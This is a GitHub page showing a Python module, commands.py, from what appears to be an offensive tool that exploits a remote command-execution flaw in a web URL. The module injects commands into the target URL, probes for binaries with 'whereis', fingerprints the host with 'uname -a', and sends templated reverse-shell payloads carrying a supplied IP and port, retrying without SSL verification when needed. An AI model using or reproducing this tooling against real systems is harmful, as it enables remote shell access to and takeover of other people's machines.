-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathcommands.py
More file actions
72 lines (59 loc) · 2.64 KB
/
Copy pathcommands.py
File metadata and controls
72 lines (59 loc) · 2.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import urllib.parse
import warnings
import requests
from requests.exceptions import SSLError
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from data import payloads, types
from modules import logger, transform
# Suppress the InsecureRequestWarning when SSL verification is disabled
warnings.simplefilter("ignore", InsecureRequestWarning)
def execute(url: str, command: str) -> str:
"""
Execute a command on the target system using the specified URL.
- Ignores SSL verification errors
"""
if "SHELL" not in url:
logger.log("Invalid URL. Please make sure the formatting is correct.")
exit()
command_string = url.replace("SHELL", command)
try:
# Attempt to make the request with SSL verification
data = requests.get(command_string)
except SSLError:
# If an SSL error occurs, retry the request with SSL verification disabled
logger.log("SSL verification failed. Retrying with verify=False.")
data = requests.get(command_string, verify=False)
return data.text
def find_bins(url: str, verbose: bool, bins: list, only: list = []) -> list:
valid = []
for bin in bins:
if len(only) > 0:
if bin not in only:
continue
result = execute(url, f"whereis {bin}")
logger.log(result, types.Status.VERBOSE, True, verbose)
for path in result.split(" "):
if "bin" in path and bin in path:
path = transform.filter_tag(path)
valid.append({bin: path})
logger.log(f"{bin} found at {path}", types.Status.SUCCESS)
return valid
def reverse_connection(valid_bins: list, valid_shells: list, url: str, ip: str, port: int, verbose: bool):
logger.log(f"Bins to test: {len(valid_bins)}")
logger.log(f"Shells to test: {len(valid_shells)}")
for bin in valid_bins:
logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", types.Status.ALERT)
for payload in payloads.bins[list(bin.keys())[0]]:
for shell in valid_shells:
cmd = urllib.parse.quote(
payload.replace("PATHHERE", list(bin.values())[0])
.replace("IPHERE", ip)
.replace("PORTHERE", str(port))
.replace("SHELLHERE", list(shell.keys())[0])
)
result = execute(url, cmd)
logger.log(result, types.Status.VERBOSE, True, verbose)
def verify(url: str, verbose: bool) -> bool:
data = execute(url, "uname -a")
logger.log(data, types.Status.VERBOSE, True, verbose)
return "linux" in data.lower()